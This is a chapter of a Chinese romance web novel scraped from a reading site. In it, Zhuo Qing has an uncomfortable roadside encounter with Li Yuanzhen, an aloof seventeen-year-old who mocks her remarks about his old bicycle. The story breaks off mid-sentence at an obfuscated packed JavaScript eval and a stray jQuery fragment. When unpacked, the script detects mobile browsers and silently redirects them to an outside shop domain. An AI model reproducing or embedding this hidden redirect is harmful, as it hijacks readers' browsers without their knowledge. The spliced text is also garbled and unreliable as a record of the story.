文趣网 > 都市小说 > 大象永远不会忘记 > 4. 人生若如初见(04)
    如此刻。

    他也是在她心里慌张时恰到好处出现了。

    回想起前天,那份奇妙感仍在。

    虽然那时他只给了她一个背影。

    她躲在比她还要强壮的树后,把镜头调整到最佳状态开始等待,如愿以偿等来少年的回眸,按下快门,躲回树后,再从树后探出头时,湖边已没了少年身影。

    丛林,湖面,少年的背景如影像回放,一帧帧由远到近,从模糊到清晰,那句“那时你是不是看到我了?”脱口而出。

    少年忽然停住脚步,而她的腿已然刹不住,四、五步后卓轻才勉强收住脚,带着一点点尴尬,往历远溱面前移动了两小步,让两人保持三步左右的距离。

    先前现于历远溱眉宇间的不耐烦被淡淡的嘲讽所取代,不变地是那镀着层寒冰的双眸。

    叫冬雅的女孩又一次说对了“远溱不是你们这些傻小子。”

    历远溱还真和周游他们不一样。

    注视着那双眼眸。

    如这双眼睛能注入一些情感会好些吧?毕竟也才十七岁,十七岁的年龄应该如周游他们那样,一群人谈天说地嬉嬉闹闹走在回家路上。

    如果没有从周游那听到历远溱的经历;如果历远溱不是她镜像里惊鸿般少年,卓轻此时此刻势必会掉头离开,头也不回。

    自讨没趣的感觉并不好受。

    可……

    把遮挡于脸上的几缕发丝别于耳后,昂起脸,卓轻冲历远溱笑,问“你是不是也很喜欢晚霞?”询问间视线落在历远溱的那辆自行车上:“所以,你才没有和周游他们一样骑着自行车而是推着自行车,你更喜欢边走路边看晚霞,就像我一样,对吧?”

    这是卓轻在做最后的尝试,按计划接下来她会和历远轻说“那我就不打扰你了,再见。”

    然而,历远溱没给卓轻打圆场的机会。

    历远溱打断她的话,反问:“刚刚你问我为什么不喜欢和周游他们一起回家?”

    谢天谢地,终于不是她一个人自说自话了。

    卓轻做洗耳恭听状。

    “他们太吵了。”历远溱淡淡说。

    的确,那几个男孩嗓音有点大,远远就听到他们的戏闹声。

    “你和他们一样吵。”历远溱再次开口。

    几个回神,卓轻后知后觉,历远溱口中的“你”指地是她。

    好吧好吧,她今天话是有点多,她能理解有个人在耳边一直喋喋不休是很烦,且还是之前从来没打过交道的陌生人。

    点了点头,抿住嘴,想了想,卓轻还是和历远溱做出个再见的手势。

    道完再见,转身。

    背后传来了历远溱的声音——

    “刚刚你还问了我,为什么不和周游他们那样骑车回家。”

    虽然声音平缓,可语气嘲讽意味十足。

    隐隐约约间,卓轻心里有不妙的感觉,顿住脚步,没有回头,等待着。

    “关于这个问题,我倒是很愿意回答你,首先,所谓你也很喜欢的晚霞在我眼里仅限于某种自然景观,如果你非得让我评价这项自然景观,我的回答是它们无趣得很,所以,我身上不具备任何边走边欣赏晚霞的闲情雅意。”

    “下坡路段为什么不骑着回家而是改成推着,单纯是因我的车张力不足下坡很容易造成车链脱落,没有链子车就骑不了了,修起来也非常麻烦。”

    原来是这样,虽然历远溱说话语气一点也不友善且带有强烈攻击性,卓轻心里还是很高兴历远溱回答了她问题的。

    介于她从小身体总是出问题珍妮弗对她是严防死守,想像别的小朋友骑上自行车去公园溜达想都别想,所以至今卓轻对自行车的结构了解不多,历远溱口中说的车链张力卓轻听得也是一知半解的,但不管怎么样,有了历远溱的回答,两人不至于以不愉快收场。

    那么,就让她以朋友方式和他做道别吧。

    但似乎,这次不想就此打住的人变成历远溱。

    “你一定很好奇,周游他们下坡时不是好好的,怎么到了我这就行不通了?那是因为我的车太老了,用地还是二手车链。”历远溱继续说到。

    说话间,历远溱往前迈出一步,这下把两人距离拉得有点近,近到她能把他的眼睫毛看得一清二楚。

    历远溱虽然不是卓轻见过最漂亮的男孩,但绝对是卓轻见过眼睫毛长得最好看的男孩。

    没多浓密,但纤长柔软澄亮,弧度优美,黑黑漆漆嵌在这样一张脸庞上,让他看起来比同龄人多出些许忧郁气质。

    再过几年,该得有多少女孩会被这张脸迷惑住?

    卓轻修的课程之一就是视觉,在视觉的引领下宛如置身于镜像世界里,视线怎么也无法从那张脸移开,依稀,有人在她耳畔说着话。

    那话是这样的说的:“你一定又在心里好奇上了,车都那么老了,原版的车链又坏了,为什么不干脆换辆车呢?”

    是啊,为什么不干脆换辆车呢?

    这之前,卓轻是压根想象不到连自行车也有二手车链的,顺着那话,喃喃问:“你的自行车是不是也和我的相机一样,要是零件坏掉了,要寄到原产地去更换,那的确很麻烦,自行车比相机大得多,如果国内设有维修点还好点,就怕维修点在境外,日本德国过海关效率会好点,就怕遇到法国人,法国人意大利人都是懒鬼。”

    话音刚落,卓轻就听到了几声轻笑。

    那笑,带着疾风直面而来。

    下意识,卓轻后撤一大步。

    少年嘴角挂着若有若无的笑纹,双眸森冷。

    显然,她刚刚说的那番话在历远溱眼里是愚蠢至极的。

    这家伙……凭什么给她冷眼?

    而她又为何在这受这家伙的气。

    卓轻细细回想过去几分钟发生的事情,从历远溱开口后就从被动转为主动,并利用自身身高优势朝她迈出一步制造出了压迫感,导致于她一步步落入他的话术里。

    卓轻在心里喊了声好家伙。

    不对,是坏家伙是野蛮家伙!

    下秒,卓轻就否定了自己的想法。

    历远溱毕竟才十七岁,而且,也没动机,难不成就因为她主动和他搭话?

    思索间,历远溱把他的自行车推到她面前。

    单手扶着车把手,看也没看车,腿一抬,车架就稳稳叉于地面,一双眼牢牢胶在她脸上。

    坏家伙野蛮家伙,看什么看?!

    历远溱左手手臂扬起,落下,“砰”一声打在自行车坐垫上,有那么一瞬间,卓轻都以为那双手会往自己身上拍来着。

    还好,还好,是车坐垫。

    但也没好到哪里去,历远溱的那下让自行车持续发出古怪的声响,听得人心惊胆战的,就仿佛有人再给它一下,它就会因为老旧而分崩离析。

    古怪的声响伴随冷冷声腔:“那么,你觉得这车是要送到德国去还是日本?”

    卓轻又后退了大大一步。

    历远溱这是什么意思?几个脑回合后,卓轻努力遏制住自己因无地自容而想撒腿跑的念头。

    瞧瞧她都干了些什么?

    她居然把历远溱为什么会任凭车坏着理所当然理解为得到寄原厂地去换零件过于麻烦,并大放厥词。那样的行为好比是玛丽皇后在法国闹饥荒时问奄奄一息瘦骨嶙峋的民众:“你们为何不享用蛋糕?”

    她没存坏心是没错,但由于她的无知伤害了在流言蜚语中成长的少年。

    有时候,无心的伤害远比恶意中伤更使人难堪。

    别开脸去,在某种说不清道不明情绪驱使下,卓轻把几天前才拿到的相机藏匿于身后,那是家修上个月去日本出差给她带回来的,珍藏版,全球限量款。

    双脚如被钉子钉在地上,卓轻垂着头,听着脚步声、自行车老旧零件摩擦时发出的古怪声响朝着山下方向。

    在历远溱和她擦肩而过时,卓轻数次尝试开口说出“抱歉”,可到最后也不知道为什么变成了干干巴巴的“明天见。”

    “明天见。”是她和乔闹不愉快

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808998|210764||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    后的惯用语境。

    她和乔约好了,再怎么生彼此的气,都在在道别时说“明天见。”明天见永远比“再见”美好,对我的生气只限于今晚,太阳升起,我们还是要天天玩在一起的朋友。

    卓轻性格是特别慢热的,她和乔相处了五年才成为可以互道“明天见”的朋友,家修也是用了两年才让她接受他,可她只见过历远溱一次半。

    这样的怪事情真是平生头一遭,卓轻抬头望看望天,天际仿佛燃尽了所有,如辞世前老人们眼眸最后的光亮,温柔而慈爱。

    一定是那温柔慈爱在作祟吧?

    所以,她想在这样的天色里和在孤独中长大的少年说话话:远溱,没什么的,长大了坏情绪的破坏力就没那么大了;远溱,你也喜欢晚霞吗?远溱,看到那朵水母彩霞没有,没准,它是很久很久以前从我手中挣脱的风筝,和我梦到的一样,它真变成了一匹云。

    回家路上,卓轻满脑子都是自己对历远溱说的那些蠢话。

    “是不是你的自行车和我的相机一样,零件坏了要拿到原厂地维修?”

    没错,这样无知的话出自一位二十五岁成年人之口,卓轻连连拍打自己头壳。

    被问为什么要推着车走历远溱心里一定很难受吧?像历远溱那样从小和祖母生活的小孩内心应该是脆弱敏感的。

    她小时候也是那样的,不过,她身边有个无所不能的家修,而历远溱则肩负照顾祖母的使命。

    对历远溱的歉意一直延续到卓溱走进淋浴室。

    洗完澡,卓轻细细想起几小时前遇到历远溱的过程。

    一幕幕,一帧帧。

    卓轻脑子里忽然闪过一个念头,

    分明历远溱是有意让她无地自容的,历远溱貌似很乐意看她在他面前无地自容。

    只是,为什么?

    就因为她很吵,因她问他为什么不和周游他们一样骑车回家。

    如果是故意为之的话,那历远溱无疑就是哥睚眦必报的坏家伙。

    让卓轻心里不是滋味地是,这个坏家伙就只有十七岁,把自己身体往床垫一扔,意识到她有百分之八十可能遭遇了十七岁少年的戏耍,扯来被单蒙住脸。

    这之前,卓轻以为所有十七岁的男孩们都像周游他们那样,活泼单纯,高兴和不高兴都写在脸上。原来,十七岁的男孩也有像历远溱这样的,咋看安静美好,但那份安静美好仅限于远观。

    卓轻决定以后要是遇到历远溱能绕道走就绕道走,不能绕道走就话都不说一句。

    话都不说一句,还得看都不看历远溱一眼。

    历远溱的长相是非常危险的存在,她是学视觉的,视觉总是轻易臣服于一切美丽事物。

    没发生被历远溱戏耍前,她还有过让他给她当模特念头来着,所以才向周游打听他。

    历远溱可不是周游。

    假设她和周游提出让他当她模特周游肯定会乐呵呵一口应答下来;换成历远溱势必先给她顿嘲笑,就像他对待给他礼物的女孩“别做多余的事情。”

    想及那会儿历远溱从被动变为主动、不动声色让她在他面前无地自容、也只不过是短短几分钟时间而已。

    脸从被单解脱出了,卓轻对着天花板发誓,要和历远溱那种小子保持一个银河系的距离。

    然而,十八小时后,卓轻就面临挑战。

    黄昏,卓轻出了林间小路就看到历远溱,还是和昨天差不多的地点,路上也只有她和他,卓轻是通过停在路旁的自行车辨认出正埋头摆弄车轮地是历远溱的。

    路上车轮划痕和散落于一边的车踏板大抵可以判断,历远溱是在下坡时自行车出了故障,刹不住车快速滑行至某个地点连人带车摔落。

    卓轻看了眼路边被压断的树枝,那句“你有没有受伤,需要帮忙吗?”已经来到了喉咙口,想起昨天,抿紧嘴,低下头,从历远溱身边匆匆走过。

    终究还是忍不住,小段路后,折返。

    为不让自己的出现显得冒失,卓轻脚步踩得很重。